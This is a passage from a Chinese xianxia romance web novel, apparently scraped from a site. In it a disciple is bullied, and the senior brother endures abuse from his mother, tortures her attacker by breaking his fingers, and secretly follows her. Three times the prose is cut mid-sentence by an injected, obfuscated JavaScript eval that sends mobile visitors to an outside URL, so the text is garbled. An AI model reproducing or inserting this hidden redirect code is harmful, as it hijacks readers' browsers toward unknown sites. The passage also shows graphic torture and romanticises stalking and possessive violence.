裴不沉:“我待会便去将你的话本子烧了。” 裴从周装模作样地哀嚎求饶两句,突然道:“不过,师兄去求药,到底是为了师弟师妹他们,还是——她?” 裴不沉还在用无相鸦看宁汐,现在她又迷上了道边的鹅卵石,蹲在地上仔仔细细地挑拣了好几个圆润光滑的,排干净灰,揣进兜里:“宁师妹受伤了,我作为师兄,帮忙求药有何不可?” 裴从周:“你看,我甚至没说宁师妹的名字,你就自己对号入座了!” 裴不沉:“我与师妹并无私情。非要说的话……她是我的恩人吧。” 裴从周:“?” “你不懂。” 玉简另一头的裴从周酸得牙疼:“……突然不想和你聊了,挂了。” 玉简熄灭,裴不沉不忘给对方又传一条讯息:如今宗门内缺少太乙玄藤,麻烦师弟这几日下山采买。 裴从周回了一个两指拈花的手势。 裴不沉又看了一会无相鸦的视角,直到无相鸦体内的灵力耗尽、化成一团黑雾,才切断与它的感应。 他正准备将玉简收回怀中,却看见那上面又弹出一条提醒:“今日十五。” 裴从周的手顿住。 玉简掉在桌面,发出清脆的一声响。 * 宁汐怀揣着一兜子好看的鹅卵石,收获满满地回了弟子居。 谁料刚一推门,一盆墙灰就劈头盖脸地泼过来。 宁汐向来动作迟钝,没能躲开,被飞扬的土灰呛得打了个喷嚏。 她默然片刻,拍拍袖子,刚刚擦掉额头的土灰,就被屋里的人用力推了一把肩膀,踉跄几步,怀里的鹅卵石掉了一地。 “真是乞丐做派,怎么什么垃圾都往回捡。” 是个有些耳熟的声音,宁汐抬眼望去,对上了林鹤凝冰冷的视线。 “林……”宁汐讷讷道,拿不准该叫她什么,上次林鹤凝让她别称自己师姐,但不称呼人多少有点没礼貌。 她这边还在纠结,上手推她的另一个人已经迫不及待了:“林师姐,这小妮子平日里仗着大师兄青睐可嚣张了!不过让她洒扫几块地,就敢和老娘对着干!” 卫书愤愤不平地朝林鹤凝露出自己脖颈上的剑伤,一脸心疼地骂骂咧咧:“刀口这样深,说不定要留疤的!” 宁汐看出来了,八成又是卫书看她不痛快,去找了林鹤凝来替他撑腰。 只是她以前竟不知晓这二人关系这样好,怪不得卫书这样修为平平的家伙也能当上外门峰的管事。 林鹤凝依旧高傲,冷声道:“上次不是给了你几罐少阴生肌祛痕膏,这么快就用完了?” 卫书啐一口,恶狠狠地瞪宁汐:“问她!” “我以前只知道这贱人惯会偷奸耍滑,现在竟还学会偷盗了!” 这完全是在泼脏水了! 宁汐面无表情:“我确实用了一罐祛痕膏,但那是一时情急,我在玉简上和卫管事提前说了,也留下了用来购买的灵石。” 平心而论,她留下的灵石是她攒了很久的私房钱,价值远超出那罐祛痕膏的价格了。 但无论如何,取而不问是为偷,宁汐认了这一回,垂眼道:“是我做错了,不该拿卫管事的一罐祛痕膏我甘愿领罚。” 卫书却道:“什么一罐!撒谎成精的小贱人!老娘全部的祛痕膏都被你偷了你还不承认!” 宁汐愕然地抬起眼:怎么回事?她分明只拿了一罐—— 可下一刻,她看清了隐藏在卫书怒容背后的得意眸光。 犹如醍醐灌顶,宁汐一刹明悟了:这姓卫的压根是醉翁之意不在酒,什么祛痕膏都是幌子,他就是冲着自己来的! 想必以这人锱铢必较的小心眼,断断不能容忍宁汐一而再再而三地反抗他的权威,先前两次宁汐还能占到一个出其不意的先机,如今却是不能了。 论修为,论地位,论人手,她都抵不过林鹤凝与卫书。 难道今日真的要被这二人磋磨? 宁汐抿了抿唇,忽道:“卫管事找我,我们大可私下相谈,何必把林师姐也扯进来。” 卫书斜眼瞧她,似乎对她这幅忍气吞声的姿态很是满意,红艳艳的指甲不住地戳宁汐肩膀:“你不知道吧?我入宗门前的凡家与鹤凝师姐的娘亲是远方亲戚,我入了宗门,鹤凝师姐自然对我多有照拂。” “跟她废话这么多干什么。”林鹤凝冷冷道,走上前来,抽出佩剑,“不是说要教训她一顿?你修为太差,那我替你来。” 卫书笑嘻嘻地应了一声,抱着手退后一步,取而代之的是林鹤凝手中雪亮的剑光,宛如惊鸿游龙,朝宁汐刺来。 林鹤凝的剑法如她本人一般,清高简洁,一招一式都没有多余的动作,行剑时剑啸如鹤鸣,杀气四溢。 等等,杀气四溢? 宁汐慌乱地躲过一剑,她身后的木门就没法躲闪,直接被削掉了一半,屋外乍暖还寒的春风猛地灌进来, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15669071|173063||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 宁汐的后脊背一阵发凉。 如果只是教训不听话的外门弟子,断然用不到这样狠戾的杀招。 何况她和林鹤凝无冤无仇,甚至只在剖心台下简短交谈过几句公事,对方怎么会对自己有这么莫名而巨大的恶意? 还是说林鹤凝与卫书之间的关系真的已经亲密到不分你我、同仇敌忾的地步了? 宁汐又一个闪身,剑气堪堪擦过她的耳侧,侧脸上立刻就破了口子。 卫书见状更兴奋了,自从他发觉宁汐其实长得好看之后,心中就扭曲不平,如今见她可能容颜有损,立刻咧开嘴角。 “躲啊,继续躲啊!你不是很能吗!平日里就喜欢黏着大师兄,真的以为自己野鸡变凤凰了?现在怎么不去找大师兄出头了?!” 宁汐眨了一下眼。 对哦。 “多谢提醒。”她在地上打了个滚,躲过林鹤凝的又一剑,顺便从怀中掏出传音玉简,直接点进了白玉京内部论坛,找到公开的内门通讯录里,戳进最上头天字号。 白玉京内部论坛里挂着所有弟子的传音玉简号码,所以理论上,人人都能给裴不沉发讯息,只不过一般没人敢。 大师兄虽然为人温和,可兴许是人们对天之骄子都望而生畏、敬而远之,与他亲近的人并不多。 然而宁汐毫不迟疑地点下了那个写着“裴不沉”姓名的传音符。 林鹤凝的动作一顿:“你在干什么?” 宁汐拖长了声调:“既然你们都说了,我素来爱向大师兄献媚,那献媚之人当然要告状咯。” 林鹤凝冷笑:“你以为大师兄会搭理你?你是不是不知道,师兄从来不接陌生人的传音——” “叮铃”铃响,玉简接通,裴不沉温和的声音响起:“宁师妹?” 霎时间,满屋寂静。 宁汐慢吞吞开口:“师兄我被打了,快来救命啊。” 卫书大惊抢话:“你这贱人胡说什么——” 下一刻,玉简直接被挂断了。 卫书的叱骂噎在喉间,片刻,突然爆发出一阵狂笑:“老娘还以为你真的有什么底牌哈哈哈哈哈结果不过是热脸贴人家的冷屁、哦不该对大师兄出言不敬,哼,就是你厚颜无耻地单方面骚扰师兄罢了!” 他笑着笑着,突然面容扭曲,抬手狠狠甩了宁汐一巴掌。 宁汐晕头转向地跌坐在地。 林鹤凝自始至终没吭声,似乎在权衡什么,突然,她收起了剑:“我没空在这陪你们过家家。” “鹤凝师姐?”卫书一呆,却见林鹤凝已经转身往外走了。 “你自己的事情你自己处理。”林鹤凝的步伐有些急促,甚至带着些许落荒而逃的意味。 她御剑而行,垂在袖口中的指甲却已经掐进了肉里。 卫书那傻子不熟悉大师兄的脾性,可林鹤凝却能知道,裴不沉能接通宁汐的传音玉简意味着什么。 她冷艳的面容逐渐因为不甘而扭曲。 凭什么? 她待裴不沉掏心掏肺,那么多年,给他传过无数次密音、无数条讯息,都是石沉大海。 那女人凭什么不一样?! 她的眼底都带上了一点红,却远远的看见一道华光掠过,急停在外门峰弟子居前。 裴不沉居然真的来了。 14. 杀人 半柱香前。 裴不沉盯着那块闪烁着“今日十五”的玉简看了许久,才重新捡起。 白皙修长的手指死死抠住玉简边缘,手背青筋暴起。 少年面上却无甚表情,掀袍起身,朝着屋外走去。 他到时,已经是深夜,掌门夫人居外有两个侍女执着惨白的纸灯笼在等待。 一切都如熟悉的一样,大屋古旧华美,檐角宫灯暗淡,橘亮如鬼火,粗木柱刻画精美,松香淡淡,周遭静谧无声,仿佛世间最美好的万物都在这里死去。 白玉京多种白樱,唯独掌门夫人尉迟今禾居住的殿宇外栽种古松,青松苍苍,虽然意境深远,但与白玉京的风格格格不入。 据说青松是太华山尉迟家的家徽,尉迟今禾嫁进白玉京后便令人在自己的居所处种下了她母族的象征。 没人敢问为何掌门夫人要与掌门分居,以及掌门夫人的母族如今境况如何。尉迟今禾身体不好,嫁给裴清野后大多闭门不出,门中人对这位神秘的掌门夫人知之甚少。 “少掌门请进吧,夫人在里面等了。” 裴不沉没应声,跟着侍女迈入殿门。 其中一个侍女大着胆子瞄了他一眼,愕然发觉这位金尊玉贵的少掌门……似乎在发抖。 殿里只在角落点了几盏灯,光线昏暗,照得四周墙上绘制的精美壁画仿佛活过来了一样,益发浓墨重彩、鬼影憧憧。 屋子里点着的熏香味很重,大概是为了遮住屋子主人身上常年挥之不去的药味。 裴不沉知道,他这个母亲是最讲究不过的,从头到脚、即使是一根头发丝,也绝不允许自己有任何不精致、不高贵。 殿里设一扇绣着蜂鸟啄牡丹图的宽大屏风,尉迟今禾就躺在屏风后头,只露出一点影影绰绰的人体轮廓。女人淡淡地咳嗽了两声,有气无力地吩咐了一句:“来了?那就开始吧。” 裴不沉几不可察地抖了一下,僵直片刻,白玉似的手指开始一搭一搭解开盘颈的丝扣。 很快,月白色的外袍坠地,如流银一般在烛火下泛光,与此同时,两个侍女吃力地抬上来一只半人高的青花瓷缸,接着目不斜视地又提来许多木桶,一桶桶往瓷缸中倒冰水。 随着瓷缸被一点一点灌满,裴不沉的脸色也一分一分变得惨白。 最后,侍女退了下去,裴不沉只着单衣,走到瓷缸边。 透过单薄的里衣,少年的一整根脊骨几乎清晰可见,在微微发颤。 侍女施法,以灵膜包裹冰水,凝成一个半人高的水泡,明亮的水光在裴不沉的脸上缓慢流淌。 哗啦—— 他将整张脸埋了进去。 屋内熏香愈发浓重了,除了屏风后尉迟今禾偶尔的低声咳嗽之外,鸦雀无声。 …… 香炉内香灰堆积,负责拨香的小侍女放下香挑子,忍不住又偷看了一眼还沉在水泡内的少年。 透明的气泡涌出来,上升后又破碎,他半跪在地上,脊背弯成强弩之末,却不肯直接躺下,只能借助瓷缸保持跪立,然而抠住瓷缸边缘的两手骨节发白,瓷缸边缘也已经都被他捏碎了,碎瓷片扎进他的掌心,鲜血将冰水染成了淡淡的粉红色。 他始终安静,没有求饶。 小侍女看得心惊肉跳,心道少掌门不会活活淹死在这里吧。 夫人怎么也不叫他起来? 夫人与少掌门平日关系便有些古怪,不似寻常人家母子之间的亲昵,若要说是修道之人亲缘寡淡,可……再寡淡也没有眼睁睁看着自己儿子受折磨的道理。 自从小侍女跟着侍奉尉迟夫人以来,每月十五,裴不沉都回到掌门夫人居处请安。 一开始她还很高兴自己能近水楼台先得月、能经常见到大师兄,可随着日子久了,便发现并不是这么一回事。 每月十五,裴不沉来后,与夫人也没什么言语,就像是习惯了一般,一来就将自己浸在冰水里,动辄几个时辰,有几次真的呛到了水,差点活生生溺死。 今日这架势……不会又要出事吧? 小侍女心神不宁,突然眼见那缸中水面猛地窜上一连串气泡,紧接着裴不沉双膝一弯,始终绷直的最后一条腿也不自控地跪倒在地。 小侍女慌了,冲着屏风后唤了一句:“夫人!” 尉迟今禾咳嗽两声,声音无波:“他出来了?” 小侍女摇头,怯怯道:“我是怕少掌门……撑不住。” 尉迟今禾道:“他不会的。我儿很能忍的——对不对?” “是。” 小侍女猝然扭头,这才发现裴不沉不知何时从水泡里抬起了脸,乌发淋湿,贴在脸上,雪白的脸毫无血色,眼尾、薄唇却被冰水淹得惨红,暗淡灯光下表情模糊,活像只从冥府里爬出来的厉鬼。 她被吓了个哆嗦。 尉迟今禾忽然道:“你今日去跪赫连亭川了?” 裴不沉哑声说了句“是”。 “贱骨头!”尉迟今禾突然暴怒,抬手抄起玉枕砸向屏风,“咣当”一声巨响,屏风轰然而坠,“见人就跪,跟路边的烂狗、那些泥地里打滚的凡人有什么区别!” 裴不沉湿淋淋地站在原地,冰水地顺着他的发稍流下,一滴滴地掉在地上,地面很快积了一小滩水。 任凭尉迟今禾暴跳如雷,他却一动不动,只是静静地站在原地,仿佛一截没有生机的木头,或者一座烧制的栩栩如生的美人塑像。 “去死,你去死!” 等尉迟今禾爆出一连串上气不接下气的咳嗽后,裴不沉才缓缓抬起湿漉漉的眼睫,声音冷静地可怕:“我真的死了,母亲就满意了吗?” “去死!” 又是一只玉枕砸出,这回堪堪掉在裴不沉脚边,碎成了齑粉。 眼见情况不妙,小侍女提裙跑到裴不沉身边,用唇语暗示他快走。 “夫人好像气晕过去了。少掌门您先回去吧。” 裴不沉眼珠缓缓转动了一下,迟滞片刻,才跟着她出去。 小侍女给他递上包扎的纱布,裴不沉谢绝了她的好心,只是攥紧拳头。 小侍女看得都红了眼,小声道:“真是吓死我了……” 她以为裴不沉没有听见,没想到他却开口道:“对啊。” 裴不沉轻声道:“要是……死了就好了。” 没来由的,小侍女头皮一炸,正想说点什么,“叮铃”声响,是裴不沉的玉简传音。 他顿了一下,才从怀里掏出玉简,接通,开口时声音温和得仿佛方才什么也没有发生:“宁师妹?” 于是小侍女听见了一个软糯的、带点拖长音的少女声音:“大师兄,我被打了,快来救命啊。” 就是这一瞬间,小侍女亲眼见证裴不沉仿佛被谁掐住了脖颈,骤然屏住呼吸。 他一声不响地关掉玉简,直接御剑而起。 * 逐日剑的剑光来得比大师兄本人更快,炽热烈焰风暴似的席卷而来,直接洞穿了残存的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15669072|173063||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 门板。 宁汐目瞪口呆地看着剑身带火,一剑削掉了卫书的发顶。 猝不及防成了个秃子、还是脑袋上冒火的秃子,卫书发出惨叫,抱着脑袋在地上打起滚来,生怕自己被逐日剑火活活烧死。 是大师兄来了。 宁汐眼睛发亮,朝着剑飞回的地方望去,果不其然,裴不沉大步朝她走来。 她正要迎上去,却突地觉得有点不对劲。 大师兄是刚沐浴完回来么?怎么发稍、衣领都有水渍? ……脸色也这样差? 是因为她的事在生气吗? 宁汐突然有些内疚,明明大师兄这么忙,她还为了这么一点口角就劳烦大师兄亲自过来帮她出头,真是太不懂事了。 “那个,大师兄——” 裴不沉却看也没看她,直接走到卫书面前,蹲下身,盯着他:“你用哪只手碰的她?” 卫书眼泪糊了一脸:“什么?我没有——啊啊啊啊啊!” 裴不沉直接一剑捅进了他的左腿,声音平静:“我问你,哪一只手?” “右手、右手!” 裴不沉道:“好。” 他将逐日剑利落拔出,“当啷”丢在一边,拽过卫书的右手,“噼啪”,掰断了大拇指。 卫书两眼暴突,血丝密布:“啊啊啊啊好疼啊啊啊啊啊!不,不,大师兄,我错了,我错了!” 然而这只是开始,紧接着是食指,中指…… 等到裴不沉在卫书的鬼哭狼嚎里掰完所有手指,又准备开始卸掉他的胳膊时,被惊呆了的宁汐才终于反应过来,跑上前一把抱住裴不沉的胳膊:“大师兄你干什么!” 裴不沉整个人像从冰水里捞出来的一样,抱着冻手得很。 他缓缓转头,温声道:“我在帮师妹呀。” 离得近了,她这才看清裴不沉的表情,心里咯噔一下。 那双柳叶眼里黑沉沉的,一丝光亮也没有。 他的状态显然不对劲。 宁汐内心警铃大作,更用了几分力气,抱着他死死不松手:“弟子犯事该交由惩戒司,大师兄不该滥用私刑!” 裴不沉轻笑:“可是师妹叫我来,不就是想让我帮你出气么?” 宁汐:…… 虽然的确是这样,但话能不能别说的这么直白? “那,那掰断他两根手指也就够了。”宁汐不忍去看倒在地上的卫书,“他都痛昏过去了。” 裴不沉沉默片刻,突地用两指掐住她的下颌,力度很大,迫使她高高地仰起脸:“师妹替这男人求情,在心疼他?” 宁汐心想这都哪跟哪,努力劝说:“不是,我是怕闹大了,对大师兄你的名声不好!” 生怕他不信,宁汐又“啪啪”给了昏迷的卫书两耳光:“你看,我自己都报复回来了——还是双倍!” 裴不沉的眼睛弯起来,但那笑意显然没有达到眼底:“师妹关心我,我很开心。” 没等宁汐松一口气,他又轻飘飘道:“可是这些人难道不该死吗?” “我知道你恨他,那我帮你杀了他,好不好?” 温和良夜,月出西山,少年眼尾猩红如泣,本该有光的眸中幽深如漩涡。 门外,那被剑砍、又被火烧的门板命悬一线般地随风摇摆,咿咿呀呀作响,令人牙酸。 门内,宁汐同他对视良久,忽地小声道:“大师兄杀过很多人吗?” 裴不沉扬唇:“嗯。很多喔。” 15. 血珠 穿堂风刮过门廊,破烂门板被吹得吱呀作响。 宁汐闷闷道:“是我请大师兄来,可我更不想让你手上染血。” 裴不沉没吭声。 宁汐没再追问,也没多想那句话的意思,大师兄捉妖时肯定遇到过坏人,杀过很多人也正常。 她低头摸索一会,找到之前被丢下的鹅卵石,一个个捡了起来,又抓起裴不沉的手,想把石头塞给他。 大师兄今天果然遇到了什么,他的掌心受了伤,伤口已经止血了,但是翻开的皮肉里还夹着一点青花碎瓷片。 裴不沉看见她的视线落在自己伤口,便自己挑出那片碎瓷,随手碾成粉末:“洗茶杯时摔碎了一个,捡起来的时候不小心被碎瓷片划到了。” 宁汐木木地“哦”一声,只好把那堆鹅卵石放在裴不沉的袖口里: “这些,送给你,石头很漂亮,我挑了好久的……别不高兴了。” 她又伸出手掌,握住裴不沉冰凉的十指。 一点一点的,少女的体温顺着皮肤相接,传到了少年的指骨之上。 他真像一块捂不暖的冷玉。 可再怎样冰冷的体温,毕竟也是个活人,捂手还是起效了。 宁汐又凑近了一些,冲两人交握的双手轻轻呵气。 裴不沉的手指痉挛似的蜷曲一下。 …… 良久,宁汐头顶传来一声长长的、幽幽的叹气。 “抱歉,师妹。”裴不沉道,“方才是我失态了。” 宁汐抬起头来看他,那些粘腻的、阴暗的、潮湿的、疯狂的都如潮水褪去,如同来时一样突兀,他又恢复成人前那个光风霁月的大师兄了。 她迟疑地冲他咧嘴笑,又摇头:“没事的。” 裴不沉的目光忽地一凝,落在她的脸颊:“受伤了?” 宁汐这才察觉到被林鹤凝剑气划出的伤口还在刺痛。 然而她不敢继续和裴不沉告状了,看他这并不稳定的精神状态,若是知道了,十有八九又要去找林鹤凝算账。 倒不是宁汐天生白莲圣体、能以德报怨毫无怨言,只是她不想为了自己的事情,让裴不沉惹上麻烦。 唉,她默默叹口气,早知道裴不沉对她受伤的反应这么大,就不叫他来了。 算了,后续她自己想办法吧。 “大概,摔到地上的时候不小心擦伤了吧。”她含糊其辞,打算敷衍过去,“我自己会回去上药的。” 裴不沉不置可否,将手抽出来,食指轻轻碰了一下她的伤口。 宁汐被刺激到,吸了一口凉气。 “抱歉。”他说,但语气依旧很平静,听不出来歉意。 他递给宁汐一张帕子:“擦一擦。” 宁汐悻悻地用手帕抹脸,没一会上头就算是脏兮兮的土灰。 她刚刚就是顶着这张脸见大师兄的? 宁汐的脸烧起来了。 裴不沉却像没有看见,拉着宁汐站起来,环视一片狼藉的弟子居,沉吟后道:“你暂时住在怀照峰,我同那里的峰主交好,有间空余洞府可以借你暂住。” 宁汐答应。她也不想继续呆在这地方,免得卫书醒来又要纠缠不清。 裴不沉唤出逐日剑,亲自送她到了怀照峰。 等宁汐同自己挥手作别以后,他又在原地站了一会。 碰到她的伤口时,食指碾碎了一颗细小的血珠。 直到现在,指腹上还沾着半干涸的血,黏腻而潮湿。 他抬起食指,注视良久,轻轻将指尖含进了嘴里。 * 次日宁汐起了个大早,她没有认床的毛病,所以在哪都能睡得很香,休息好了人精神头也足,她盘腿坐在床上,舒展地伸了一个懒腰。 罗汉床上床幔轻摇,宁汐穿鞋下床,打算参观一下自己的新居。 这间屋子布置得十分清雅,有点像释门中人的修行雪洞。 窗下一张缠红枝小桌,摆着的茶具细瓷透光,笔架上搁着蘸了墨半干的狼毫笔,榻上几只散乱的麻布蒲团,中央还有坐过的微微凹陷……裴不沉说这件屋子是空着的,但宁汐逛了一圈,却处处能见曾经主人生活的痕迹。 她踱步到博物架前,踮起脚尖,瞅见了一排有点眼熟的晴天娃娃。 宁汐和娃娃大眼瞪小眼。 ……好像,大师兄的佩剑上也挂着这东西来着。 她伸手取下娃娃,果然,简洁到只有三条线段的五官,透着一股古怪的丑萌,和裴不沉佩剑上挂着的一模一样,只不过绣工精致很多。 这里是大师兄的屋子。 意识到这一点之后,连手中的晴天娃娃都好像烫手起来,宁汐忙不迭将娃娃塞回原处,又跑回罗汉床边,刚要坐下,突然又想起裴不沉可能以前也在上头睡过,她就仿佛屁股底下装了弹簧似的跳起来。 心神不宁地在屋子里走来走去,宁汐试图用散步让自己宽心,但举目所及,万事万物,那支笔,可能是他握在手心里的,那服架,可能挂过他解下的玉带,那宽口茶杯,可能碰过他的唇…… 宁汐猛地一甩脑袋,将奇奇怪怪的幻想画面从脑袋中扔出去。 倒不是她对大师兄有什么非分之想,只是突然置身于男子的房间,还是这么私密的卧房,她有点不适应。 仙门不像凡人那样刻意讲究男女有别,但基本的伦理大防还在,宁汐坐立不安,决定不在这屋子里继续待着。 不然还是找个机会同大师兄说要搬回去,宁汐想,卫书被大师兄弄断了一条胳膊一条腿,胆子再大也不敢来找她麻烦了吧。 出门时日光正盛,宁汐盘算了一下日子,今日没有轮到她洒扫值事,便心安理得地摸鱼了。 她决定去藏书阁里借几本修炼的书籍来看。 上次走到藏书阁门口就被从周师兄拦下了,这次应该不会再有人打扰。 不得不说,不愧是大师兄居住的洞府,连地理位置都比外门弟子峰好上不少,风景秀美不说,交通还十分便利,宁汐下了峰头,随便溜达几步,就瞧见了藏书阁巍峨的尖顶。 四周仙鹤振翅,祥云环绕,但为免打扰弟子温书,全都清净无声,宁汐通过自动核查相貌的关卡,步入藏书阁,不禁被这庄严肃穆的学习氛围感染,表情都变得凝重起来。 几个弟子抱着厚厚一叠、几乎高过头顶的书册,从她身边匆匆而过,宁汐依稀还听见他们在嘀咕着什么:“学医好啊,以后师弟师妹来了我都要劝他们修医!” 是可怜的医修,宁汐向他们增光发亮的头顶投以尊敬的目光 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15669073|173063||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 幸好之前妖祸没有殃及此处,藏书阁内的书籍都还完好无损。宁汐按照纵横字号的排列顺序,找到了教人练气入体的书架,可架子上却没有她要的那本《练气入门》。 她只好去找藏书阁的管事。 管事穿着一身黑白格子袍,鼻梁上架着厚厚的琉璃镜,听见宁汐对书架编码错误的反馈,立刻施法化出自己的法器。 那法器长得像个印刷格盘,他在上头敲敲打打,十分困惑:“竟然不能运行,为什么呢?” 宁汐:……我也想知道。 折腾半天,不知道又按到了哪个键,法器上突然跳出一行光标:您所查询的书籍,正在辰字捌号架。 查到了。宁汐道了声谢,转身离开时却又听见那管事在小声嘀咕: “奇怪,居然运行成功了,为什么呢?” 宁汐:…… 折腾一番,宁汐终于找到了那本《练气入门》,又找了个空位坐下,定神后翻开书页。 任督打开,奇经贯通,真气循流不息,则可以为此法……* 沉浸在书海之中,不知不觉,日落月生,直到晚钟响起,宁汐才发觉自己已经在藏书阁读了一整日。 她生性好静,读书于她而言并不困难。只可惜似乎在修道一事上缺少天分,道理她懂得多,实践起来却总觉束手束脚。 合上书页,揉了揉发干酸涩的眼睛,宁汐转动僵硬的脖颈,打算明日再来。 嗯……还得抽空把学到的引气入体的法子实践一下。 在心里给自己安排了满满当当的任务,一股从未有过的踏实和满足涌上心头。 接下来几天她都是这样度过的。白日温书,晚上倒头就睡。 这一天也是这样,深夜回程路上,虽然读了一整日的书,但她却精神百倍,回怀照峰的路上还不由自主哼起了歌。 今日月圆,光辉明亮,她一边哼着自创的小曲,一边踩自己的影子玩。 转过一道弯,她突然停了下来。 她脚下的影子,怎么看起来这么大? 有人在她身后?! 宁汐猛地回头,然而身后空空荡荡。 月光静静,天地如覆白霜,白樱树枝上的水滴、青草丛尖的夜露闪闪发亮。 如果真的有人夜半尾随,那会是谁呢? 宁汐第一个想到的就是卫书。 那日争执之后,卫书就销声匿迹了,算起来已经过了三日,他的腿伤也差不多该好了,宁汐本以为他是被吓破了胆,放弃找她麻烦所以才不再出现。 但现在她又开始怀疑——以卫书那种眦睚必报的性格,会那么容易就退缩吗? 大师兄也不是时时刻刻都跟在自己身边,卫书若是存心要报复,总能找到她落单的机会。 “有人吗?” 无人回应。 宁汐蹙眉,脚下的影子又变成了孤零零的一重,仿佛方才的怪异只是她的错觉。 她又等了一会,月光依旧明晃晃,天地仍然静悄悄。 宁汐揉了揉眼睛,心道十有八九是自己白天看字太久,眼花了吧。 她继续向前走。 而背后看不见的阴暗树影里,漆黑的无相鸦无声收翅,落在主人缀着八重樱的月白衣肩上。 16. 午后 虽然昨晚闹了一出被跟踪的乌龙,但宁汐素来心大,晚上回了怀照峰洞府,依旧倒头就睡,一夜好眠。 接连几日,她依旧维持着这样的作息:白日去藏书阁温书,直到半夜方回。 第一次晚上那种似乎有人跟随的感觉若有若无,偶尔她还是会觉得背后有一道森冷的视线正在注视着自己,可每次回头,身后都是空无一人。 渐渐的,宁汐也被磨出了耐性,不再多想,反正兵来将挡,水来土掩。她只是去膳食峰里找相识的食修讨了一柄削水果的小刀,贴身揣在怀里。 有备无患嘛。 期间又轮到她洒扫,往常都会借机冲她颐指气使的卫书依然不见踪迹,不过虽然没人催,宁汐还是自觉去安排的地方将活计做完了。 屋前有几个刚刚练完剑回来的弟子在闲聊,揉着肩膀抱怨这几天简直快累得散架了,又是要练剑,又是要加派巡逻。 “姑且忍一忍吧。最近特殊时期,妖祸刚刚结束,还有些妖魔余孽潜藏在白玉京,安排我们巡逻也是为了避免它们寻机伤人。” 宁汐打扫的动作一顿,若有所思:所以,跟踪她的也有可能不是卫书,是躲在白玉京的妖魔余孽? 白玉京好好的一个仙门,怎么到处都是危险啊。 那弟子又道:“而且我们已经算好的啦,只需要每日辰时之后巡逻两个时辰,便有他人来替,不像大师兄,可没有人来换他的班。听随身服侍的小侍童说,大师兄最近忙得脚不沾地,这五六日来每日都睡不够两个时辰!” 虽然修士可以依靠打坐养神,但并不能完全戒掉睡眠,像裴不沉这样的作息,简直能称得上一句铁人。 宁汐攥紧了手中的扫把,那两个交谈的弟子渐渐远去了。 “大师兄总是这么忙,最近我都没见到他人影了。” “是啊,估计除了清扫妖魔余孽之外,他还在联络其他仙门找药。而且我听说他过段时间要去昆仑丘帮忙查赫连家大公子的案子……” 宁汐默默听了一会,等到那两人的声音一丁点也听不见了,才闷头用手里的扫把在地上扒拉几下,慢吞吞地将落英扫成一堆。 她正埋头干活,眼前突然出现一双玄色长靴。 靴上,是胭脂色的袍角,绣着大朵怒放的金牡丹。 宁汐的心脏重重一跳,下意识后退两步。 来人直接拽住了她的小臂。 宁汐触电一样地抽回手,下意识将被碰过的地方在袖口使劲擦了擦。 她这番毫不掩饰的嫌弃引起了来人的怒意:“你嫌弃我?!” 宁汐扁嘴,不情不愿地小声道:“赫连二公子多想了,我就是洁癖而已。” 赫连为冷笑:“倒是会巧言善辩。既然不嫌弃我,为什么不抬头看我?” 宁汐磨蹭好一会,才抬起脸。赫连为正满脸阴郁地盯着她,在日光下,那两颗鲜红的泪痣更显眼了。 平心而论,她这位未婚夫有一张好皮囊,桃花眼风流,偏生眼底两颗泪痣欲语还休,带了些不可说的魅惑引诱。 只是他总阴沉着脸,硬生生将那抹殊色压成了颓艳。 宁汐看了他一眼,又移开视线:“赫连二公子找我有事吗?如果没事,我要继续扫地了。” 呸。他长得再好看有什么用?她又不喜欢他,一点童年相识的情分也因为他在自己洞房里和别人偷情而烟消云散了。 虽然她知道可能在赫连为看来,他与南宫音才是青梅竹马、情深意笃,自己只是个中途插进来、不识好歹的家伙,可好歹她也是一条人命吧! 前世大师兄和自己关系稀松,都能为救她豁出性命,而她这位未婚夫倒好,洞房花烛夜她无故失踪,赫连为居然问都不问。 有了裴不沉当样本,她看赫连为是越看越不爽。 敷衍地行了一个礼,她转身就要走,却又被拦下了: “听说你姓宁?” 宁汐突然警惕。 她五岁与赫连为相识,如今也过了半百年,少年人相貌易变,何况当初她与赫连为相处不过短短几日,对方一时认不出她实属正常。 但知道她的姓名就是另一回事了。 他这是认出自己了? 宁汐支支吾吾地撒谎:“不是,我、呃,姓裴。” 反正白玉京里多是裴氏族人,姓裴的一抓一大把,她这么说倒也不算突兀。 赫连为却眯起眼,目光落在她的右眼——那只琥珀色的异色瞳。 宁汐心里突突直跳。 这辈子,她其实不想再和赫连清羽父子相认。虽然羽叔叔待她很好,但他在婚约一事上的坚持着实令她头疼。 赫连清羽在凡间是个寒门书生,在与赫连为他娘成婚之前都是两耳不闻窗外事、一心只读圣贤书,重信守诺几乎到了迂腐的地步。 